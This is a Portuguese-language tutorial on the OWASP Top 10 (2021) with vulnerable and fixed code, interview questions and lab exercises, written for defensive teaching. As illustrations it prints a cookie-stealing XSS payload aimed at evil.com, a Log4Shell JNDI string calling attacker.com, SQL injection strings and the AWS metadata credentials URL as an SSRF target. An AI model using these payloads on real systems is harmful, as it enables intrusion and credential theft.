O OWASP Top 10 é a lista de vulnerabilidades de aplicações web mais críticas, publicada pela Open Web Application Security Project (OWASP). Desde 2003, quando foi publicada pela primeira vez, tornou-se o documento de referência mais citado em auditoria de segurança de software — presente em requisitos de compliance (PCI DSS, SOC 2), em checklists de code review, e em programas de bug bounty como critério de severidade. A edição de 2021, a mais recente, reorganizou categorias anteriores com base em dados de incidentes reais coletados de centenas de organizações e reflete o que de fato causa breaches em produção.
O valor do OWASP Top 10 não está na completude — é uma lista de dez categorias, não um catálogo exaustivo de vulnerabilidades. Seu valor está em ser um denominador comum: quando um code reviewer perguntar "você checou o Top 10?", há um conjunto compartilhado de ameaças que ambos entendem. Para times sem programa de segurança maduro, o Top 10 funciona como uma linha de partida — não um teto, mas um mínimo que todo desenvolvedor trabalhando em aplicações web deve conhecer em profundidade.
Este conceito percorre as dez categorias da edição 2021 com ênfase em três pontos por categoria: como a vulnerabilidade funciona mecanicamente, um exemplo concreto de exploit ou incidente, e os controles que realmente funcionam. Entendimento superficial de "o que é SQL injection" não protege sistemas; entendimento de como o atacante estrutura o payload, como o banco o processa, e por que prepared statements resolvem mas string escaping às vezes não, sim.
A01 — Broken Access Control
A01 subiu da quinta posição em 2017 para primeira em 2021 — o movimento mais significativo da lista. Broken access control abrange qualquer situação em que usuários conseguem agir fora das suas permissões pretendidas: acessar dados de outros usuários, executar operações privilegiadas, ou modificar controles de acesso.
A vulnerabilidade mais frequente nessa categoria é IDOR — Insecure Direct Object Reference. Considere um endpoint GET /api/documents/4821. O servidor autentica o usuário via JWT, mas não verifica se o documento 4821 pertence ao usuário autenticado. Um atacante que descobre o ID (sequencial, ou via enumeração) obtém acesso ao documento de qualquer outro usuário. Em 2021, a API do Twitter tinha uma variante desse problema: IDOR em endpoints de conteúdo privado expostos via versão antiga da API que não aplicava o mesmo controle de acesso.
// Vulnerável — apenas autentica, não autoriza
app.get('/documents/:id', authenticate, async (req, res) => {
const doc = await db.query('SELECT * FROM documents WHERE id = ?', [req.params.id]);
return res.json(doc);
});
// Correto — verifica ownership
app.get('/documents/:id', authenticate, async (req, res) => {
const doc = await db.query(
'SELECT * FROM documents WHERE id = ? AND user_id = ?',
[req.params.id, req.user.id]
);
if (!doc) return res.status(404).json({ error: 'Not found' });
return res.json(doc);
});
Outros padrões de broken access control: privilege escalation via modificação de parâmetro de papel (o JWT tem role: "user" e o cliente pode forjar role: "admin" se o servidor não re-validar), acesso a funcionalidades de admin via URL direta sem verificação de papel, ou CORS mal configurado que permite requisições de origens não autorizadas.
Security by obscurity não é controle de acesso. Esconder o endpoint /admin ou usar IDs não sequenciais (UUIDs) reduz exposição acidental mas não protege contra atacantes determinados. O controle correto é verificação de autorização no servidor, não ofuscação da interface.
A02 — Cryptographic Failures
Anteriormente chamada "Sensitive Data Exposure", a A02 foi renomeada em 2021 para focar na causa raiz: falhas criptográficas que expõem dados sensíveis. Inclui desde transmissão de dados em HTTP sem TLS até uso de algoritmos obsoletos (MD5, SHA-1, DES), armazenamento de senhas em plaintext ou com hash sem salt, e geração de números aleatórios com fontes não criptograficamente seguras.
O incidente Adobe de 2013 é o caso de estudo definitivo nessa categoria: 153 milhões de senhas vazadas. As senhas estavam armazenadas com 3DES sem salt, e todas as senhas iguais tinham o mesmo hash — o atacante que viu o hash EQ7fIpT7i/Q= repetido 1.9 milhões de vezes soube imediatamente que era a senha mais comum. A ausência de salt transformou um problema de cracking por senha em cracking por frequência.
Os controles corretos para dados em repouso: never hash passwords — use KDF (Key Derivation Function) com salt. Argon2id é o padrão atual (vencedor do Password Hashing Competition de 2015). Para dados sensíveis além de senhas: AES-256-GCM para criptografia simétrica, nunca ECB mode (o modo que produz o famoso "Linux penguin" em imagens cifradas). Para dados em trânsito: TLS 1.3 como mínimo, HSTS para forçar HTTPS, sem fallback para versões antigas.
# Python — Argon2id correto
from argon2 import PasswordHasher
from argon2.exceptions import VerifyMismatchError
ph = PasswordHasher(
time_cost=3, # número de iterações
memory_cost=65536, # 64 MB
parallelism=2, # threads
hash_len=32,
salt_len=16
)
# Hash na criação da conta
hashed = ph.hash("senha_do_usuario")
# Verificação no login
try:
ph.verify(hashed, "senha_digitada") # lança exceção se incorreta
if ph.check_needs_rehash(hashed): # rehash se parâmetros mudaram
hashed = ph.hash("senha_digitada")
except VerifyMismatchError:
raise AuthenticationError("Credenciais inválidas")
A03 — Injection
Injection — SQL injection em particular — esteve no topo da lista por doze anos consecutivos antes de cair para terceiro em 2021. A longevidade não é por ser difícil de mitigar: parameterized queries existem desde os anos 90. É porque continua a ser introduzido em código novo por desenvolvedores que não internalizaram a regra fundamental: nunca concatenar entrada de usuário em strings que serão interpretadas como comandos.
SQL injection funciona porque o banco de dados não distingue entre SQL de controle e dados de entrada quando ambos chegam como string. O clássico ' OR '1'='1 em um campo de login transforma a query SELECT * FROM users WHERE username='X' AND password='Y' em SELECT * FROM users WHERE username='' OR '1'='1' AND password='' — sempre verdadeiro. Mais grave: '; DROP TABLE users; -- termina a query original e executa uma segunda. O incidente Heartland Payment Systems (2008, 130 milhões de cartões vazados) foi inteiramente via SQL injection.
O controle correto é parameterized queries — nunca string concatenation ou interpolation. Todos os drivers de banco de dados modernos suportam parâmetros; se o código usa f-strings ou concatenação em queries SQL, está errado.
// Vulnerável — NUNCA FAZER
string query = $"SELECT * FROM users WHERE email = '{email}'";
// Correto — parâmetros Dapper
var user = await connection.QueryFirstOrDefaultAsync<User>(
"SELECT * FROM users WHERE email = @Email AND active = @Active",
new { Email = email, Active = true }
);
// Com Entity Framework Core — sempre parameterizado automaticamente
var user = await db.Users
.Where(u => u.Email == email && u.Active)
.FirstOrDefaultAsync();
EF Core sempre usa parâmetros — o método FromSqlRaw aceita SQL manual e ainda assim exige parâmetros separados, nunca interpolação.
# Vulnerável — NUNCA FAZER
query = f"SELECT * FROM users WHERE email = '{email}'"
# Correto — parâmetros SQLAlchemy Core
from sqlalchemy import text
result = conn.execute(
text("SELECT * FROM users WHERE email = :email"),
{"email": email}
)
# ORM SQLAlchemy — parameterizado automaticamente
user = session.query(User).filter(
User.email == email,
User.active == True
).first()
O módulo psycopg2 aceita %s como placeholder — nunca % com f-strings. A diferença visual é mínima; o risco é enorme.
// Vulnerável — NUNCA FAZER
query := fmt.Sprintf("SELECT * FROM users WHERE email = '%s'", email)
// Correto — parâmetros database/sql
var user User
err := db.QueryRowContext(ctx,
"SELECT id, email, name FROM users WHERE email = $1 AND active = $2",
email, true,
).Scan(&user.ID, &user.Email, &user.Name)
// sqlc — gera código Go type-safe a partir de queries SQL
// A query fica em arquivo .sql, sqlc gera a função:
// func (q *Queries) GetUserByEmail(ctx context.Context, email string) (User, error)
Go usa $1, $2 para PostgreSQL e ? para MySQL/SQLite. sqlc é o padrão ouro: queries SQL verificadas em compile-time com código gerado type-safe.
Injection vai além de SQL: LDAP injection, XML injection (XXE — XML External Entities), command injection via os.system ou subprocess.call com entrada de usuário, e template injection (SSTI) em linguagens de template que avaliam expressões. O princípio é o mesmo: entrada de usuário nunca deve ser avaliada como instrução pelo interpretador.
A04 — Insecure Design
Nova categoria em 2021, Insecure Design cobre falhas que não são bugs de implementação, mas problemas fundamentais de arquitetura e design — o que o threat modeling existe para prevenir. Um sistema que armazena o histórico completo de transações de todos os usuários em uma tabela sem segregação por tenant tem um design inseguro independente da qualidade do código. Uma API que expõe dados brutos de banco em vez de projeções controladas tem um design inseguro. Um fluxo de redefinição de senha que envia o token via SMS e não tem limite de tentativas tem um design inseguro.
Os controles para Insecure Design são os processos descritos no conceito anterior: threat modeling em design review, revisão de requisitos de segurança como parte do DoD, e princípios como least privilege (cada componente tem acesso mínimo necessário), defense in depth (múltiplas camadas de controle), e fail secure (falhas devem resultar em estado seguro, não em acesso aberto).
A05 — Security Misconfiguration
Misconfiguration é a categoria mais ampla e mais comum em ambientes cloud. Inclui: buckets S3 públicos, interfaces de administração expostas (Kibana, Redis, MongoDB sem senha), headers de segurança HTTP ausentes, credenciais padrão não alteradas, mensagens de erro com stack traces em produção, e configurações de desenvolvimento habilitadas em ambiente de produção (modo debug, CORS wildcard, etc.).
Os headers HTTP de segurança que todo servidor web de produção deve retornar:
# Headers essenciais — configuração Nginx
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
add_header X-Frame-Options "DENY" always;
add_header X-Content-Type-Options "nosniff" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
add_header Content-Security-Policy "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'" always;
add_header Permissions-Policy "geolocation=(), microphone=(), camera=()" always;
# Remover headers que revelam informações do servidor
server_tokens off;
proxy_hide_header X-Powered-By;
proxy_hide_header Server;
Em ambientes cloud, misconfiguration é monitorada por ferramentas como AWS Security Hub, GCP Security Command Center, e soluções open source como Prowler e Trivy para Kubernetes. O princípio é Infrastructure as Code com linting de segurança: toda configuração de infraestrutura passa por análise estática antes do deploy.
A06 — Vulnerable and Outdated Components
Log4Shell (CVE-2021-44228) é o caso de estudo que tornou essa categoria urgente: uma vulnerabilidade de JNDI injection na biblioteca Java Log4j 2, presente em praticamente toda aplicação Java corporativa, permitia execução remota de código com uma linha no log. O payload ${jndi:ldap://attacker.com/x} em qualquer campo logado — cabeçalho HTTP, campo de formulário, user-agent — era suficiente. Organizações com inventário de dependências sabiam em horas se eram afetadas; sem inventário, levaram dias ou semanas descobrindo onde Log4j estava usada.
SBOM (Software Bill of Materials) — o inventário completo de dependências diretas e transitivas de um software — é o controle básico para essa categoria. SPDX e CycloneDX são os formatos padrão. Ferramentas como Syft (Anchore) geram SBOMs; Grype verifica o SBOM contra bases de vulnerabilidades conhecidas (NVD, OSV). Integrado no CI, isso produz um relatório de vulnerabilidades a cada build.
# Gerar SBOM e verificar vulnerabilidades — pipeline CI
syft packages dir:. -o cyclonedx-json > sbom.json
grype sbom:sbom.json --fail-on high
# Dependabot — GitHub Actions para atualização automática
# .github/dependabot.yml
version: 2
updates:
- package-ecosystem: "npm"
directory: "/"
schedule:
interval: "weekly"
open-pull-requests-limit: 10
ignore:
- dependency-name: "*"
update-types: ["version-update:semver-major"] # major manual
A07 — Identification and Authentication Failures
Anteriormente "Broken Authentication", essa categoria cobre falhas em autenticação e gerenciamento de sessão: senhas sem limite de tentativas (permite brute force), ausência de MFA em operações sensíveis, tokens de sessão com baixa entropia, sessões não invalidadas após logout, e credenciais hardcoded no código.
O problema de credential stuffing — usar listas de email/senha de vazamentos anteriores para tentar login em outros serviços — é responsável pela maioria dos account takeovers modernos. A defesa não é limitar tentativas de brute force em um IP (atacantes usam botnets com milhares de IPs diferentes), mas detectar logins anômalos: novo dispositivo, nova localização geográfica, volume anormal de logins. CAPTCHA resolve tentativas automáticas simples. Breached password detection (verificar a senha proposta contra listas de vazamentos via API k-anonymity, como HaveIBeenPwned) previne o reuse de senhas comprometidas.
A08 — Software and Data Integrity Failures
Outra categoria nova em 2021, cobrindo falhas que permitem violação de integridade de software ou dados sem detecção. O ataque SolarWinds (2020) é o caso canônico: o build pipeline da SolarWinds foi comprometido, e o software legítimo foi modificado para incluir backdoor antes de ser assinado e distribuído para 18.000 clientes. A atualização foi instalada com confiança porque tinha assinatura válida.
Deserialization insegura também pertence aqui: quando o servidor desserializa objetos de origem externa sem validação, um atacante pode injetar objetos serializados maliciosos que executam código durante a desserialização. Java, PHP e Python têm histórico de vulnerabilidades nessa área — pickle.loads() em Python executará código arbitrário se receber um payload malicioso. A regra: nunca deserializar dados de origem não confiável com formatos que suportam execução (pickle, Java native serialization). Preferir JSON com schema validation.
A09 — Security Logging and Monitoring Failures
Um sistema sem logs de segurança adequados não detecta ataques em andamento e não permite análise forense após incidentes. Essa categoria cobre ausência de logging de eventos de segurança (falhas de login, acessos negados, operações administrativas), logs sem proteção contra adulteração, e ausência de alertas para eventos anômalos.
O padrão mínimo de eventos que devem ser logados: tentativas de login (sucesso e falha, com timestamp e IP), logout, criação/modificação/exclusão de objetos sensíveis, operações de administração (alteração de papel, reset de senha), e erros de autorização (403). Cada entrada deve ter: timestamp UTC, user_id, session_id, IP, action, resource, result. Logs de segurança devem ser enviados a um sistema separado (SIEM) com acesso limitado — um atacante que comprometeu o servidor de aplicação não deve conseguir apagar os rastros.
A10 — Server-Side Request Forgery (SSRF)
SSRF entrou no Top 10 pela primeira vez em 2021, refletindo o crescimento de ataques contra infraestrutura cloud. Em SSRF, o atacante faz o servidor de aplicação realizar requisições HTTP para um destino que ele controla — frequentemente o serviço de metadados da instância cloud.
Em AWS, o endpoint http://169.254.169.254/latest/meta-data/iam/security-credentials/ retorna credenciais temporárias do IAM Role anexado à instância — com validade de horas e permissões amplas em muitas configurações. Qualquer endpoint que aceita uma URL e faz uma requisição a ela é candidato a SSRF: "verificar URL de webhook", "fazer fetch de imagem por URL", "importar conteúdo de URL externa".
# Controles contra SSRF
import ipaddress
import socket
from urllib.parse import urlparse
BLOCKED_RANGES = [
ipaddress.ip_network('169.254.0.0/16'), # link-local (AWS metadata)
ipaddress.ip_network('10.0.0.0/8'), # privado classe A
ipaddress.ip_network('172.16.0.0/12'), # privado classe B
ipaddress.ip_network('192.168.0.0/16'), # privado classe C
ipaddress.ip_network('127.0.0.0/8'), # loopback
ipaddress.ip_network('::1/128'), # IPv6 loopback
]
def is_safe_url(url: str) -> bool:
parsed = urlparse(url)
if parsed.scheme not in ('http', 'https'):
return False
try:
ip = ipaddress.ip_address(socket.gethostbyname(parsed.hostname))
for blocked in BLOCKED_RANGES:
if ip in blocked:
return False
except (socket.gaierror, ValueError):
return False
return True
Blocklists de IP para SSRF são bypassadas por DNS rebinding: o hostname resolve para IP válido durante a verificação, mas antes da requisição o DNS é atualizado para um IP interno. A defesa mais robusta é usar um serviço separado (proxy de egresso) para requisições a URLs externas, com allowlist de hosts permitidos em vez de blocklist — allowlist é sempre mais segura que denylist.
Cross-Site Scripting (XSS) — o que ficou de fora da lista mas não desapareceu
XSS caiu do Top 10 de 2021 como categoria separada (foi absorvida por Injection), mas continua sendo uma das vulnerabilidades mais exploradas. XSS permite que um atacante injete JavaScript em uma página servida para outros usuários — capturando cookies de sessão, redirecionando para phishing, ou executando ações em nome do usuário.
Há três tipos: Stored XSS (payload persiste no banco — um comentário com <script>document.location='https://evil.com/steal?c='+document.cookie</script>), Reflected XSS (payload no parâmetro de URL refletido na resposta), e DOM-based XSS (payload processado pelo JavaScript do cliente sem passar pelo servidor). O controle é Content Security Policy (CSP) restritivo mais output encoding correto — nunca inserir dados de usuário em HTML sem encoding. Frameworks modernos (React, Angular, Vue) fazem output encoding automaticamente; o risco surge quando o desenvolvedor usa innerHTML, dangerouslySetInnerHTML, ou document.write explicitamente.
Decisões de Engenharia
SAST vs DAST vs SCA no pipeline — o que usar?
Os três são complementares, não substitutos. SAST (Semgrep, CodeQL, Bandit) analisa código estático — detecta padrões de A03 (injection) e A01 (falta de autorização) sem executar a aplicação; false positive alto, rápido. SCA (Grype, Dependabot, Snyk) detecta A06 (componentes vulneráveis) — indispensável, baixo esforço, alto valor. DAST (OWASP ZAP, Burp Suite automatizado) testa a aplicação em execução — detecta misconfigurations e lógica de negócio que SAST não vê; mais lento, melhor em stage/nightly. Estratégia mínima: SCA + SAST em cada PR; DAST no pipeline de staging.
Output encoding vs CSP para XSS — é um ou outro?
São defesas complementares em camadas diferentes. Output encoding (React auto-escaping, HtmlEncoder.Encode() em C#, html.escape() em Python) é a defesa primária — impede que dados de usuário sejam interpretados como HTML. CSP é a rede de segurança — limita o que scripts podem fazer caso output encoding falhe. Nunca depender só de CSP: é bypassável em configurações permissivas (unsafe-inline) e não protege contra todos os vetores. Output encoding + CSP restritivo + evitar innerHTML/dangerouslySetInnerHTML é a tríade correta.
Allowlist vs blocklist para SSRF — qual usar?
Allowlist é sempre mais segura para SSRF: definir explicitamente quais hosts/IPs são permitidos é imune a bypasses de blocklist. Blocklist (bloquear ranges privados, link-local, loopback) é bypassável via DNS rebinding, redirecionamentos HTTP, IPv6 alternativo, ou URLs com encoding especial. Quando allowlist não é viável (ex: produto que precisa buscar URLs arbitrárias de usuário): use um serviço proxy de egresso dedicado com allowlist no egress, não na aplicação. O serviço proxy isola a aplicação do acesso à rede interna.
Como priorizar a remediação do Top 10?
Nem todo o Top 10 tem o mesmo impacto em todo sistema. Priorize por risco: (1) A01 (Broken Access Control) e A02 (Cryptographic Failures) — impacto de breach de dados, quase sempre crítico; (2) A03 (Injection) — exploração frequente, impacto alto; (3) A06 (Outdated Components) — SCA resolve com custo baixo, não adiar; (4) A05 (Misconfiguration) — IaC scanning resolve estruturalmente. A04 (Insecure Design) e A08 (Integrity Failures) requerem mudança de processo e são de médio prazo. A10 (SSRF) é prioritário se o sistema aceita URLs de usuários.
Perguntas de Entrevista
O que é IDOR e por que autenticação não é suficiente para evitá-lo?
IDOR (Insecure Direct Object Reference) é quando um endpoint expõe um identificador de recurso (ID, UUID, número de pedido) e não verifica se o usuário autenticado tem permissão sobre aquele recurso específico. A autenticação confirma quem é o usuário; autorização confirma o que esse usuário pode fazer. São dois controles distintos, e muitos sistemas implementam o primeiro e esquecem o segundo.
Exemplo: GET /api/invoices/8823 — o middleware autentica o JWT corretamente, mas o handler apenas faz SELECT * FROM invoices WHERE id = 8823 sem verificar AND user_id = :authenticated_user. Um usuário que trocar o ID por 8822 acessa a fatura de outro cliente. A correção exige que toda query que recupera um recurso privado inclua o user_id ou tenant_id do usuário autenticado como filtro obrigatório — nunca confiar no ID do recurso enviado pelo cliente para determinar o owner.
Em sistemas com controle de acesso baseado em papel (RBAC), a verificação é mais complexa: não basta checar que o usuário autenticado tem papel "admin" — é necessário checar que o admin tem permissão naquele tenant ou organização específica. IDOR de second-order (via referência em outro recurso) também é comum e mais difícil de detectar.
Por que parameterized queries resolvem SQL injection mas string escaping às vezes falha?
Parameterized queries (prepared statements) resolvem SQL injection estruturalmente: o banco de dados recebe o template da query e os parâmetros separadamente. O parser SQL interpreta o template primeiro e "congela" a estrutura da query — os parâmetros que chegam depois são tratados como dados puros, nunca como instrução SQL, independente do conteúdo. Um parâmetro com '; DROP TABLE users; -- é armazenado como string literal, não executado.
String escaping é frágil por vários motivos: (1) depende do contexto correto — o mesmo caractere pode precisar de escape diferente em diferentes posições da query (dentro de string vs identificador vs comentário); (2) bugs em implementações de escaping são descobertos regularmente — a função mysql_real_escape_string() foi bypassada em codificações multibyte específicas; (3) escaping de nomes de colunas e tabelas (quando dinâmicos) não é resolvido por funções de escaping de string — apenas allowlist funciona para identificadores; (4) é fácil esquecer de escapar em um caminho de código específico.
A regra prática: se você está construindo uma string SQL, algo está errado. Toda query deve usar parâmetros. A única exceção válida é nomes de colunas e tabelas dinâmicos — que devem ser resolvidos via allowlist de valores permitidos, nunca via input de usuário diretamente.
O que é SSRF e por que é especialmente perigoso em ambientes cloud?
SSRF (Server-Side Request Forgery) é uma vulnerabilidade onde o atacante faz o servidor de aplicação realizar requisições HTTP para um destino controlado pelo atacante — tipicamente um destino interno que normalmente não estaria acessível da internet. Qualquer funcionalidade que aceita uma URL e faz uma requisição a ela é candidata: importar imagem por URL, verificar webhook, fazer preview de link.
Em ambientes cloud, SSRF tem impacto amplificado porque os provedores expõem um endpoint de metadados na rede interna da instância. Na AWS, http://169.254.169.254/latest/meta-data/iam/security-credentials/RoleName retorna credenciais temporárias do IAM Role — com as quais o atacante pode interagir com todos os serviços AWS que o role tem permissão (S3, DynamoDB, SSM Parameter Store com secrets). Isso transforma um SSRF em um comprometimento completo da infraestrutura cloud. O ataque Capital One de 2019 (100 milhões de registros) foi via SSRF contra o endpoint de metadados AWS.
AWS agora tem IMDSv2 (Instance Metadata Service v2) que requer um token de sessão obtido via PUT antes do GET — isso bloqueia muitos ataques SSRF simples, mas não todos (se a aplicação faz dois requests, o atacante pode explorar o fluxo). A proteção mais robusta é não aceitar URLs arbitrárias de usuários, ou rotear todas as requisições de egresso por um proxy com allowlist de hosts.
O que é Content Security Policy (CSP) e como complementa output encoding para mitigar XSS?
CSP é um header HTTP (Content-Security-Policy) que instrui o browser sobre quais fontes de scripts, estilos, imagens e outros recursos são permitidas naquela página. Uma CSP restritiva como default-src 'self'; script-src 'self' impede que o browser execute qualquer script que não venha do próprio domínio — incluindo scripts injetados por XSS via tags <script> inline ou via atributos de evento como onclick.
Output encoding é a defesa primária: converte caracteres especiais HTML (<, >, ", ', &) em suas entidades HTML antes de renderizar dados de usuário, impedindo que sejam interpretados como markup. CSP é a rede de segurança para quando output encoding falha — por exemplo, quando um desenvolvedor usa dangerouslySetInnerHTML em React, ou innerHTML diretamente, que bypassa o auto-escaping do framework.
CSP sozinha não basta: unsafe-inline (necessário para muitos sites com estilos inline) enfraquece drasticamente a proteção; nonces e hashes são alternativas mais seguras. Além disso, CSP não protege contra todos os vetores (ex: JSONP endpoints em domínios na allowlist podem ser usados para injetar código). A combinação output encoding + CSP sem unsafe-inline + evitar APIs de DOM inseguras é a defesa em profundidade correta.
Como você explicaria a urgência de A06 (componentes vulneráveis) para um stakeholder não técnico, usando Log4Shell como exemplo?
A analogia mais eficaz: A06 é o equivalente a usar um cadeado que o fabricante declarou defeituoso — não importa quão cuidadosamente você fechou a porta, o cadeado pode ser aberto por qualquer pessoa que leu o aviso do fabricante.
Log4Shell concretiza o argumento: Log4j é uma biblioteca de logging usada em praticamente toda aplicação Java empresarial — frameworks populares como Spring, Apache Kafka, e Elasticsearch a incluem transitivamente. Em dezembro de 2021, foi descoberto que qualquer mensagem logada contendo ${jndi:ldap://...} causava execução remota de código no servidor. Um atacante que enviasse esse string no campo de nome de usuário de um login, ou no user-agent de um request HTTP, podia executar código arbitrário no servidor — sem autenticação, sem privilégios especiais.
O impacto: organizações que tinham inventário de dependências (SBOM) souberam em horas se eram afetadas e em quais sistemas. Organizações sem inventário levaram dias ou semanas varrendo logs e repositórios — durante os quais estavam vulneráveis. O argumento para stakeholders: manter dependências atualizadas e ter inventário de componentes é como ter apólice de seguro contra vulnerabilidades descobertas em software que você não escreveu, mas usa. O custo de manter é previsível; o custo de não manter é imprevísivel e potencialmente catastrófico.
Como praticar
-
WebGoat e DVWA na máquina local. OWASP WebGoat e Damn Vulnerable Web Application (DVWA) são aplicações intencionalmente vulneráveis com exercícios guiados. Instale via Docker (
docker run -p 8080:8080 webgoat/webgoat) e complete os módulos de SQL Injection, XSS e Broken Access Control.
Critério: Completar os módulos de SQL Injection (incluindo blind injection), IDOR, e Stored XSS no WebGoat; documentar o mecanismo de cada exploit em suas próprias palavras — não copiar a explicação do exercício. -
Auditoria de código com OWASP Top 10 como checklist. Escolha um serviço em produção ou projeto seu. Para cada endpoint que processa entrada de usuário, verifique: queries parameterizadas? verificação de ownership (não só autenticação)? output encoding? headers de segurança? Documente o que encontrar com severidade e plano de remediação.
Critério: Auditoria cobre pelo menos 5 endpoints; pelo menos 1 gap encontrado por categoria A01, A03 ou A05; relatório tem severidade (crítico/alto/médio/baixo) e owner para cada item — não apenas uma lista de problemas sem próximos passos. -
Integrar Semgrep e SCA no CI. Configure Semgrep com as regras
p/owasp-top-tene Grype (ou Dependabot) no pipeline do seu projeto. Execute a primeira vez e faça triagem dos resultados: classifique cada finding como verdadeiro positivo, falso positivo com justificativa, ou aceito com risco documentado.
Critério: Pipeline falha ao introduzir SQL concatenado oupickle.loads()de source não confiável; Dependabot abre PR automaticamente para dependências com CVE de severidade alta; ao menos 1 falso positivo documentado com justificativa de por que não é explorável naquele contexto. -
Implementar proteção SSRF em um endpoint que aceita URL. Construa um endpoint que recebe uma URL e faz fetch do conteúdo (ex: preview de link). Implemente allowlist de hosts ou validação de IP com bloqueio de ranges privados. Depois, tente bypassar sua própria proteção via DNS rebinding, redirecionamento HTTP, ou encoding de URL.
Critério: Endpoint rejeitahttp://169.254.169.254/,http://10.0.0.1/, ehttp://localhost/; tente pelo menos 2 técnicas de bypass documentadas; se o bypass funcionar, adicione a mitigação e documente por que a primeira abordagem falhou. -
Configurar headers de segurança e validar com scanner. Para um servidor web de projeto seu (Nginx, Express, ASP.NET), configure todos os headers listados na seção A05 deste conceito. Use o securityheaders.com e o CSP Evaluator do Google para validar a configuração.
Critério: Score A ou A+ no securityheaders.com; CSP semunsafe-inlineou com nonces em vez de inline scripts; headerServereX-Powered-Byremovidos da resposta; HSTS comincludeSubDomainsepreload.
Referências para aprofundar
- docs OWASP Top 10 — 2021 — OWASP Foundation.
- docs OWASP Cheat Sheet Series — OWASP Foundation.
- book The Web Application Hacker's Handbook — Stuttard e Pinto (Wiley, 2nd ed. 2011).
- book Real-World Bug Hunting — Peter Yaworski (No Starch, 2019).
- article Log4Shell (CVE-2021-44228) — Analysis — LunaSec (dezembro 2021).
- article SSRF in the Wild — Orange Tsai (HITCON 2017).
- docs Content Security Policy (CSP) — MDN Web Docs.
- article Exploiting IDOR in the Wild — HackerOne (relatórios públicos).
- video Hacking Web Apps with OWASP Top 10 — Rana Khalil (YouTube, 2022).
- paper SolarWinds Supply Chain Attack — Technical Analysis — FireEye/Mandiant (2020).
- docs Semgrep Rules for OWASP Top 10 — Semgrep.
- book Hacking: The Art of Exploitation — Jon Erickson (No Starch, 2008).